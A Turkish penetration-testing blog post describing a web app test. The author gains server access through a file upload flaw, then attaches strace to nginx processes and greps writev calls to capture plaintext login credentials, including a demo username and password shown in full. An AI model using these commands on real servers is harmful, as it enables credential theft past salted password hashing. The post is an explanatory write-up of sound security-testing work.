Merhaba
Değerli arkadaşım Mert Sarıca’nın yakın zamanda kaleme aldığı “RAM Casusluğu” yazısını okumuştum. Yazıyı okuduğumda aklıma 1 – 1,5 yıl kadar önce gerçekleştirdiğim bir web uygulama sızma testi ve o testte yaşadığım olaylar geldi.
Bu blog yazısında tecrübe ettiğim güvenlik testini adım adım ele alarak, en sonunda process’lere gönderilen sistem çağrıları üzerinden hassas verileri elde ediyor olacağız.
Adım 1 : Bilgi toplama
Her güvenlik testi, hedef sistem/uygulama hakkında bilgi toplayarak başlar. Normal şartlar altında “google hacking” tekniklerinin de dahil olduğu bu süreç, test ettiğim uygulamanın kurum için uygulama olmasından ötürü sadece hedef uygulama üzerinden bilgi edinme aşamasından ibaret olmuştu. İlk bakışta tespit ettiğim bilgiler ise şu şekildeydi;
- PHP uygulaması.
- Nginx
- Kuralları çok sıkı olmamak ile birlikte bilinen HTTP payloadlarını yakalayan WAF bulunmakta.
- 80. ve 443. portları haricinde herhangi bir open port bulunmamakta.
Adım 2 : Sızma
Hedef hakkında genel bilgileri elde ettikten sonra sıra, güvenlik açığı bulmak ve her güvenlik testinin altın golü sayılabilecek, uygulama sunucusuna uzaktan erişim sağlamaya geldi. Bu ana kadar hedef uygulamada XSS vb High level güvenlik açıkları tespit edilmişti. Fatura yükleme modülünde bulunan bir File Upload zafiyeti ile sunucuya uzaktan erişim sağlamayı başarmıştım. Sunucu üzerinde yapılan keşif çalışmalarının sonucu ise aşağıdaki gibiydi.
- Tüm kritik bilgiler şifrelenerek veri tabanı sisteminde saklanmakta.
- Parolalar tuzlanarak SHA256 ile veri tabanı sistemi üzerinde depolanmakta.
- Tuz olarak her kullanıcıya, kendisine özgü 100 karakterden uzun bir string seçilmekte.
- Veritabanı olarak PostgreSQL kullanılmakta.
Uygulama sunucusuna uzaktan erişim sağlanmış olsada, kullanıcı bilgilerine erişmek siber saldırıyı tamamiyle farklı boyutlara taşıyabilecek kritik verilerdir. Bu nedenle bir sonracı amaç tuzlanarak SHA256’sı alınmış kullanıcı parolalarına erişim sağlamak.
Adım 3 : Parolalara Erişim
Kullanıcı adı, mail ve hash bilgilerine veri tabanı üzerinden doğrudan erişip bilinen password cracking yöntemleri ile sonuca gidilebilir. Ben ise uygulamanın parola politikasının zorluğu, uzun bir salt seçimi ve hash algoritmasının sha256 olmasından ötürü password cracking’in başarılı bir sonuç üretmeyeceğini düşünerek farklı bir yola başvurdum.
En nihayetinde kullanıcıların login olurken gönderdikleri HTTP POST talepleri Nginx process’i tarafından karşılanacak ve parse edilerek ilgili aksiyon alınacaktır. Bu da HTTP POST talebi içerisinde gönderilen kullanıcı adı ve parola bilgisinin Nginx process’ine ait sistem çağrıları içerisinde bir yerde bulunacağı anlamına gelmekte.
Strace ile Process Üzerinden Hassas Verilere Erişim
Strace process’lere yapılan sistem çağrılarını ve sinyalleri analiz etmenizi sağlayan bir araçtır. Biz nginx process’ine strace ile bağlanarak, nginx’e yapılan sistem çağrılarını analiz edeceğiz.
Process ID’leri 6089 ve 6090 olan nginx uygulamasına strace ile aşağıdaki şekilde bağlanılarak, oluşan kayıtları /tmp/nginx.txt altına kaydetmesi için aşağıdaki komut kullanılabilir.
strace -s 512 -p 6089 -p 6090 -o /tmp/nginx.txt Process 6089 attached Process 6090 attached ^CProcess 6089 detached Process 6090 detached
6089 ve 6090 numaralı iki process artık strace tarafından analiz ediliyor olacaktır. Kayıtlar ise /tmp/ngix.txt dosyasına kayıt edilecektir.
İlk bakışta nginx.txt dosyası tam bir karmaşa halindedir. Öncelikle hangi tipte çağrıların yapıldığına bakalım.
~$ cat /tmp/nginx.txt |awk -F " " {'print $2'}|sort|uniq |awk -F"(" {'print $1'}|sort|uniq
accept4
close
connect
epoll_ctl
epoll_wait
fstat
getsockname
getsockopt
ioctl
open
pread
read
readv
recvfrom
setsockopt
socket
stat
write
writev
Her biri farklı tür veriler içeriyor olsada, biz kullanıcılardan gelen HTTP taleplerinin writev sistem çağrısı kayıtlarında görebiliriz. Log dosyasında writev keyword’u ile analiz gerçekleştirdiğimizde aşağıdaki satırlar dikkatleri üzerine çekmekte.
~$ cat /tmp/nginx.txt |grep writev
6090 writev(14, [{"\1\1\0\1\0\10\0\0\0\1\1\0\0\0\0\0\1\4\0\1\5{\5\0\17)SCRIPT_FILENAME/usr/share/nginx/mehmetince.net/index.php\fBQUERY_STRINGq=/codeigniter-object-injection-vulnerability-via-encryption-key/&\16\3REQUEST_METHODGET\f\0CONTENT_TYPE\16\0CONTENT_LENGTH\17)SCRIPT_FILENAME/usr/share/nginx/mehmetince.net/index.php\v\nSCRIPT_NAME/index.php\v?REQUEST_URI/codeigniter-object-injection-vulnerability-via-encryption-key/\f\nDOCUMENT_URI/index.php\r\37DOCUMENT_ROOT/usr/share/nginx/mehmetince.net\17\10SERVER_PROTOCOLHTTP/1.1\21\7GATEWAY_INTERFACECGI/1.1\17\vSERVER_SOFTWAREnginx/"..., 1448}], 1) = 1448
6089 writev(22, [{"\1\1\0\1\0\10\0\0\0\1\1\0\0\0\0\0\1\4\0\1\0062\6\0\17,SCRIPT_FILENAME/usr/share/nginx/mehmetince.net/wp-login.php\f\0QUERY_STRING\16\4REQUEST_METHODPOST\f!CONTENT_TYPEapplication/x-www-form-urlencoded\16\3CONTENT_LENGTH155\17,SCRIPT_FILENAME/usr/share/nginx/mehmetince.net/wp-login.php\v\rSCRIPT_NAME/wp-login.php\v\rREQUEST_URI/wp-login.php\f\rDOCUMENT_URI/wp-login.php\r\37DOCUMENT_ROOT/usr/share/nginx/mehmetince.net\17\10SERVER_PROTOCOLHTTP/1.1\21\7GATEWAY_INTERFACECGI/1.1\17\vSERVER_SOFTWAREnginx/1.4.6\v\rREMOTE_ADDR188.58.68.150\v\0REMOTE_PORT\v\rSERVER_ADDR159.253.35"..., 1632}, {"log=mehmet+ince&pwd=C", 21}, {"\0\0\0\1\5\0\1\0\206\2\0", 11}, {"0kG1zl1S1fr3&g-recaptcha-response=&googleotp=&wp-submit=Log+In&redirect_to=https%3A%2F%2Fwww.mehmetince.net%2Fwp-admin%2F&testcookie=1", 134}, {"\0\0\1\5\0\1\0\0\0\0", 10}], 5) = 1808
POST parametresi olan log ve pwd alanlarını görmekteyiz. Daha yakından analiz edildiğinde ise
username = mehmet ince
password = C0kG1zl1S1fr3
Verilerinin saklandığını görebilirsiniz. Nginx uygulamasına strace ile bağlanarak Nginx process’lerine gönderilen veriler üzerinden kullanıcı adı ve parola bilgilerine doğrudan erişim sağlanabildiği görülmektedir. Böylece, her kullanıcıya özgü üretilen salt ile birlikte sha256’sı alınan parolalara, herhangi bir brute-force vb teknik kullanılmadan erişim sağlanmıştır.